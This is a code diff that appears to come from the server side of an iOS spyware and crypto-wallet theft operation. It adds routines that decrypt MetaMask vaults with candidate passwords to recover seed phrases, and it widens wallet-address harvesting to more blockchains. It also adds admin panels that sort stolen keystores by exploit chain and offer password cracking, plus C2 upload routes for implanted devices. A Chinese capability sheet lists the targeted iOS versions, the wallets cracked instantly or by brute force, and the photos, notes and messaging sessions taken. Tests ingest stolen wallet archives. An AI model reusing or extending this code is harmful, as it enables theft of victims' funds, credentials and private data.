@@ -575,6 +668,192 @@ final class DsKeystoreDecrypt
return $out;
}
/**
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
*
* @return list<array{source: string, vault: array<string, mixed>}>
*/
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isPasswordVault($node)) {
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
}
$out = [];
$acct = strtolower(trim((string) ($node['account'] ?? '')));
if ($acct === 'vault_backup' && $source === '') {
$source = 'MetaMask';
}
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $node
*/
public function isPasswordVault(array $node): bool
{
foreach (['cipher', 'iv', 'salt'] as $key) {
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
return false;
}
}
return true;
}
/**
* @param array<string, mixed> $vault
* @param list<string> $passwords
*/
public function unlockPasswordVault(array $vault, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = $this->decryptPasswordVault($vault, $password);
if ($plain === null) {
continue;
}
$phrase = $this->phraseFromVaultPlain($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
*
* @param array<string, mixed> $vault
*/
private function decryptPasswordVault(array $vault, string $password): ?string
{
$cipherB64 = (string) ($vault['cipher'] ?? '');
$ivRaw = (string) ($vault['iv'] ?? '');
$saltStr = (string) ($vault['salt'] ?? '');
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
return null;
}
$cipher = base64_decode($cipherB64, true);
if (! is_string($cipher) || $cipher === '') {
return null;
}
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
if (! is_string($iv) || $iv === '') {
return null;
}
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
if ($iterations < 1) {
$iterations = 5000;
}
$salts = [$saltStr];
$decodedSalt = base64_decode($saltStr, true);
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
$salts[] = $decodedSalt;
}
foreach ($salts as $salt) {
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
if (is_string($plain) && $plain !== '') {
return $plain;
}
}
return null;
}
private function phraseFromVaultPlain(string $plain): ?string
{
$direct = $this->asMnemonic($plain);
if ($direct !== null) {
return $direct;
}
$json = json_decode($plain, true);
if (! is_array($json)) {
return null;
}
return $this->phraseFromVaultNode($json);
}
private function phraseFromVaultNode(mixed $node): ?string
{
if (is_string($node)) {
return $this->asMnemonic($node);
}
if (! is_array($node)) {
return null;
}
if (isset($node['mnemonic'])) {
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
if ($phrase !== null) {
return $phrase;
}
}
foreach ($node as $child) {
$phrase = $this->phraseFromVaultNode($child);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function mnemonicFieldToPhrase(mixed $value): ?string
{
if (is_string($value)) {
return $this->asMnemonic($value);
}
if (! is_array($value) || $value === []) {
return null;
}
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
$raw = '';
foreach ($value as $code) {
if (! is_numeric($code)) {
return null;
}
$raw .= chr((int) $code);
}
return $this->asMnemonic($raw);
}
if (is_string($value[0] ?? null)) {
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
}
return null;
}
/**
* @return list<string>
*/
+12 -1
View File
@@ -7,7 +7,7 @@ use App\Support\WalletSource;
/**
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
* BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order.
*/
class DsTrustAddressIngest
{
@@ -18,6 +18,9 @@ class DsTrustAddressIngest
0 => 'BITCOIN',
60 => 'ETHEREUM',
195 => 'TRON',
20000714 => 'BSC',
501 => 'SOLANA',
10042221 => 'ARBITRUM',
];
public function __construct(
@@ -47,6 +50,9 @@ class DsTrustAddressIngest
'BITCOIN' => [],
'ETHEREUM' => [],
'TRON' => [],
'BSC' => [],
'SOLANA' => [],
'ARBITRUM' => [],
];
foreach ($this->walkAccounts($node) as $acct) {
$address = trim((string) ($acct['address'] ?? ''));
@@ -68,6 +74,9 @@ class DsTrustAddressIngest
$symbol = match ($chain) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
'BSC' => 'BNB',
'SOLANA' => 'SOL',
'ARBITRUM' => 'ETH',
default => 'TRX',
};
foreach ($addresses as $address) {
@@ -170,6 +179,8 @@ class DsTrustAddressIngest
'BITCOIN' => 'BITCOIN',
'ETHEREUM' => 'ETHEREUM',
'TRON' => 'TRON',
'BSC' => 'BSC',
'SOLANA' => 'SOLANA',
default => null,
};
+2 -1
View File
@@ -451,7 +451,7 @@ class IngestService
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) {
continue;
}
DeviceApp::query()->updateOrCreate(
@@ -942,6 +942,7 @@ class IngestService
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'],
default => [$chainType],
};
+3
View File
@@ -266,6 +266,8 @@ final class WalletSource
'TRX', 'TRON',
'BTC', 'BITCOIN',
'BNB', 'BSC', 'BINANCE',
'SOL', 'SOLANA',
'ARB', 'ARBITRUM',
];
public static function isSupportedChain(string $chainType): bool
@@ -375,6 +377,7 @@ final class WalletSource
'SOLANA', 'SOL' => 'SOL',
'TON' => 'TON',
'BNB', 'BSC', 'BINANCE' => 'BNB',
'ARB', 'ARBITRUM' => 'ETH',
default => strtoupper($chainType) ?: 'UNKNOWN',
};
}
@@ -0,0 +1,66 @@
# 系统能力介绍
---
## JS 访问版
### 13-17 系列
**支持版本范围:** 13 – 17.2.1
**支持钱包:**
- 打开钱包 APP 获取:MetaMask / Trust / Coinbase / BitKeep / Tonkeeper / Uniswap / Phantom / MyTonWallet / Exodus / Ronin / Krystal / Tonhub / Coin98 / Bitpie / Solflare / OKX
- 需要转账/查看助记词等动作:imToken / TronLink / TokenPocket
**支持的其他能力:** 相册 / 备忘录 / WhatsApp 参数 / Telegram 参数 / APP 应用列表
---
### 18 系列
**支持版本:** 18.5 / 18.6 / 18.6.1 / 18.6.2
**支持钱包:**
- 秒破:Bitpie / Trust / Coin98 /Uniswap / Phantom
- 暴力破:imToken / BitKeep / MetaMask / Tonkeeper
**支持的其他能力:** 相册 / 备忘录 / APP 应用列表
---
### 支持的版本明细
```
13: 13.1 13.1.1 13.1.3 13.2 13.2.2 13.3 13.3.1 13.4.1 13.5 13.5.1 13.6 13.6.1 13.7
14: 14.0 14.0.1 14.1 14.2 14.2.1 14.3 14.4 14.4.1 14.4.2 14.5 14.5.1 14.6 14.7 14.7.1 14.8 14.8.1
15: 15.0 15.0.1 15.0.2 15.1 15.1.1 15.2 15.2.1 15.3 15.3.1 15.4 15.4.1 15.5 15.6 15.6.1
15.7 15.7.1 15.7.2 15.7.3 15.7.4 15.7.5 15.7.6 15.7.7 15.7.8 15.7.9
15.8 15.8.1 15.8.2 15.8.3 15.8.4 15.8.5 15.8.6
16: 16.0 16.0.1 16.0.2 16.0.3 16.1 16.1.1 16.1.2 16.2 16.3 16.3.1 16.4 16.4.1
16.5 16.5.1 16.6 16.6.1 16.7 16.7.1 16.7.2 16.7.3 16.7.4
17: 17.0 17.0.1 17.0.2 17.0.3 17.1 17.1.1 17.1.2 17.2 17.2.1
18: 18.5 18.6 18.6.1 18.6.2
```
---
## APP 下载版
### 12 – 26.6.1
**版本范围:** iOS 12 ~ iOS 18.7.2 / iOS 26.0 / iOS 26.0.1
**支持钱包:**
- 秒破:Bitpie / Trust / Coin98 / Exodus / Phantom / Uniswap / Tonhub / OKX
- 暴力破:imToken / TokenPocket / TronLink / MetaMask
---
### 26.0.1 – 26.6.1
**版本范围:** 26.0.1 – 26.6.1
**支持钱包:**
- 爆破:imToken / TronLink / MetaMask / OKX / Coin98 / TokenPocket
- 秒破:Tonhub
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
// 1 = needs a user password to unlock. NULL = not flagged.
// Never store 0 — filters and UI treat only 1 as "需要密码".
$table->unsignedTinyInteger('needs_password')->nullable()->after('decrypted');
$table->index('needs_password');
});
}
public function down(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->dropIndex(['needs_password']);
$table->dropColumn('needs_password');
});
}
};
@@ -0,0 +1,27 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->string('list_kind', 32)->nullable()->after('needs_password');
$table->unsignedInteger('list_item_count')->nullable()->after('list_kind');
$table->string('list_summary', 255)->nullable()->after('list_item_count');
$table->unsignedTinyInteger('list_has_web3')->nullable()->after('list_summary');
$table->index('source');
});
}
public function down(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->dropIndex(['source']);
$table->dropColumn(['list_kind', 'list_item_count', 'list_summary', 'list_has_web3']);
});
}
};
@@ -0,0 +1,37 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->unsignedTinyInteger('chain')->nullable()->after('device_id');
$table->index('chain');
});
if (Schema::getConnection()->getDriverName() === 'mysql') {
DB::update('UPDATE wallet_keystores wk INNER JOIN devices d ON d.id = wk.device_id SET wk.chain = IFNULL(d.chain, 1)');
} else {
$chains = DB::table('devices')->pluck('chain', 'id');
foreach ($chains as $deviceId => $chain) {
DB::table('wallet_keystores')
->where('device_id', $deviceId)
->whereNull('chain')
->update(['chain' => (int) ($chain ?: 1)]);
}
}
}
public function down(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->dropIndex(['chain']);
$table->dropColumn('chain');
});
}
};
@@ -183,6 +183,7 @@ layui.use(['table', 'form', 'layer'], function () {
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
return '';
}
+57 -44
View File
@@ -319,6 +319,25 @@
</div>
</form>
@endif
@if ($tab === 'keystores')
<form class="layui-form" lay-filter="LAY-keystore-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">需要密码</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="needs_password">
<option value="">全部</option>
<option value="1">是</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-keystore-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-keystore-reset">重置</button>
</div>
</div>
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
<script type="text/html" id="LAY-device-session-ops">
@@ -652,15 +671,15 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
return Number(d.needs_password) === 1 ? '是' : '—';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 240, align: 'center', templet: function (d) {
{ title: '操作', width: 200, align: 'center', templet: function (d) {
var html = '';
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
return html || '—';
} }
]],
@@ -740,15 +759,21 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
formType: 1,
title: '输入钱包密码',
maxlength: 256
}, function (value, idx) {
var password = String(value || '').trim();
if (!password) return layer.msg('请输入密码');
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.decrypt_url,
url: obj.data.password_decrypt_url,
method: 'POST',
data: { _token: token },
data: { _token: token, password: password },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
@@ -791,40 +816,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
});
return;
}
if (obj.event !== 'items' || !obj.data.items_url) return;
layer.load(1);
$.getJSON(obj.data.items_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
} else {
html += '<table class="layui-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
'<td>' + dash(it.service) + '</td>' +
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
});
html += '</tbody></table></div>';
}
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
@@ -951,6 +942,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, 0);
});
}
if (tab === 'keystores') {
form.render('select');
form.on('submit(LAY-keystore-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'keystores',
needs_password: data.field.needs_password || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-keystore-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'keystores', needs_password: '' },
page: { curr: 1 }
});
}, 0);
});
}
});
</script>
+42 -57
View File
@@ -48,6 +48,17 @@
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="chain">
<option value="">全部</option>
<option value="1">Coruna</option>
<option value="2">DarkSword</option>
<option value="3">App</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
@@ -77,6 +88,15 @@
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">需要密码</label>
<div class="layui-input-block">
<select name="needs_password">
<option value="">全部</option>
<option value="1">是</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
</div>
@@ -85,9 +105,8 @@
<div class="layui-card-body">
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
<script type="text/html" id="LAY-ks-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
@{{# if(Number(d.needs_password) === 1){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
@@ -110,50 +129,6 @@ layui.use(['table', 'form', 'layer'], function () {
}
function dash(v) { return v ? esc(v) : '—'; }
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
layer.load(1);
$.getJSON(url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
' · 来源 ' + esc(d.source || '未知') +
' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div class="ks-empty">暂无条目</div></div>';
} else {
html += '<table class="ks-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr>' +
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
'<td class="mono">' + dash(it.service) + '</td>' +
'<td class="mono">' + dash(it.access_group) + '</td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="mono">' + dash(it.data_preview) + '</td>' +
'</tr>';
});
html += '</tbody></table></div>';
}
layer.open({
type: 1,
title: title || ('钥匙串 #' + (d.id || '')),
area: ['920px', '70%'],
content: html
});
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
};
// ── Plaintext detail viewer (sensitive fields masked) ──
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
layer.load(1);
@@ -191,14 +166,22 @@ layui.use(['table', 'form', 'layer'], function () {
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
{ field: 'chain', title: '利用链', width: 120, sort: true, templet: function (d) {
var c = Number(d.chain);
var cls = 'tag-chain-coruna', label = 'Coruna';
if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; }
else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; }
return '<span class="tag-chain ' + cls + '">' + label + '</span>';
} },
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
return Number(d.needs_password) === 1 ? '是' : '—';
} },
{ field: 'kind', title: '类型', width: 110 },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
]],
@@ -212,23 +195,25 @@ layui.use(['table', 'form', 'layer'], function () {
return false;
});
table.on('tool(LAY-ks-list)', function (obj) {
if (obj.event === 'items') {
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
return;
}
if (obj.event === 'plaintext') {
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
return;
}
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
formType: 1,
title: '输入钱包密码',
maxlength: 256
}, function (value, idx) {
var password = String(value || '').trim();
if (!password) return layer.msg('请输入密码');
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.decrypt_url,
url: obj.data.password_decrypt_url,
method: 'POST',
data: { _token: token },
data: { _token: token, password: password },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
@@ -142,6 +142,7 @@ layui.use(['table', 'form', 'layer'], function () {
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
return '';
}
+1
View File
@@ -87,6 +87,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+10 -10
View File
@@ -28,15 +28,15 @@ $ctl = AppC2Controller::class;
// ai-live doge C2 pipeline (w2.bsvpn.net → /api/v2/*).
// c2_redirect.dylib rewrites doge's C2 URL to http://<lab>:8000/api/v2/*
// (HTTP, no TLS — doge's static libcurl bypasses iOS ATS). This catch-all
// App 利用链 C2 pipeline (/api/v2/*).
// c2_redirect.dylib rewrites the client C2 URL to http://<lab>:8000/api/v2/*
// (HTTP, no TLS — static libcurl bypasses iOS ATS). This catch-all
// logs every request to public/log/app_c2/Ymd.log and returns the
// permissive mock responses doge expects so it keeps uploading.
Route::any('/api/v2/devices', [$ctl, 'aiLiveV2']);
Route::any('/api/v2/uploads', [$ctl, 'aiLiveV2']);
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'aiLiveV2'])->where('id', '[^/]+');
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'aiLiveV2'])
// permissive mock responses the client expects so it keeps uploading.
Route::any('/api/v2/devices', [$ctl, 'appUpload']);
Route::any('/api/v2/uploads', [$ctl, 'appUpload']);
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'appUpload'])->where('id', '[^/]+');
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUpload'])
->where(['id' => '[^/]+', 'n' => '[0-9]+']);
Route::any('/api/v2/finish', [$ctl, 'aiLiveV2']);
Route::any('/api/v2/{any?}', [$ctl, 'aiLiveV2'])->where('any', '.*');
Route::any('/api/v2/finish', [$ctl, 'appUpload']);
Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*');
+1
View File
@@ -84,6 +84,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+507
View File
@@ -0,0 +1,507 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\AppUploadIngester;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AppUploadIngestTest extends TestCase
{
use RefreshDatabase;
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private const TRON = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
private const ETH = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.bot_token' => '',
'coruna.telegram.owner_chat_id' => '',
]);
$tokenview = Mockery::mock(TokenviewMonitorService::class);
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
$tokenview->shouldReceive('shouldMonitor')->andReturn(false);
$this->app->instance(TokenviewMonitorService::class, $tokenview);
$balances = Mockery::mock(\App\Services\WalletBalanceService::class);
$balances->shouldReceive('refresh')->andReturn(false);
$balances->shouldReceive('ensureBscForEthAddress')->andReturn(null);
$this->app->instance(\App\Services\WalletBalanceService::class, $balances);
Http::fake();
}
#[Test]
public function wallet_tar_stores_utc_and_ingests_address(): void
{
$device = $this->makeDevice();
$utc = [
'version' => 3,
'id' => 'trust-utc',
'crypto' => [
'ciphertext' => 'aa',
'mac' => 'bb',
'cipher' => 'aes-128-ctr',
],
'address' => substr(self::ETH, 2),
];
$tar = $this->makeTar([
'Documents/keystore/UTC--demo' => json_encode($utc),
]);
app(AppUploadIngester::class)->ingestArtifact(
$device,
$tar,
'com.wallet.crypto.trustapp.tar',
);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists()
);
$this->assertTrue(
WalletKeystore::query()
->where('device_id', $device->id)
->get()
->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore')
);
$this->assertFalse(
WalletKeystore::query()
->where('device_id', $device->id)
->get()
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
);
$this->assertNull(
WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'Trust Wallet')
->value('needs_password')
);
$this->assertTrue(
WalletKeystore::query()
->where('device_id', $device->id)
->get()
->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP)
);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
$this->assertNotNull($addr);
$this->assertSame('Trust Wallet', $addr->source);
}
#[Test]
public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void
{
$device = $this->makeDevice('dev-trust-hd');
$etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6';
$waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci';
$dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK';
$btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7';
$utc = [
'version' => 3,
'type' => 'mnemonic',
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
'activeAccounts' => [
['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"],
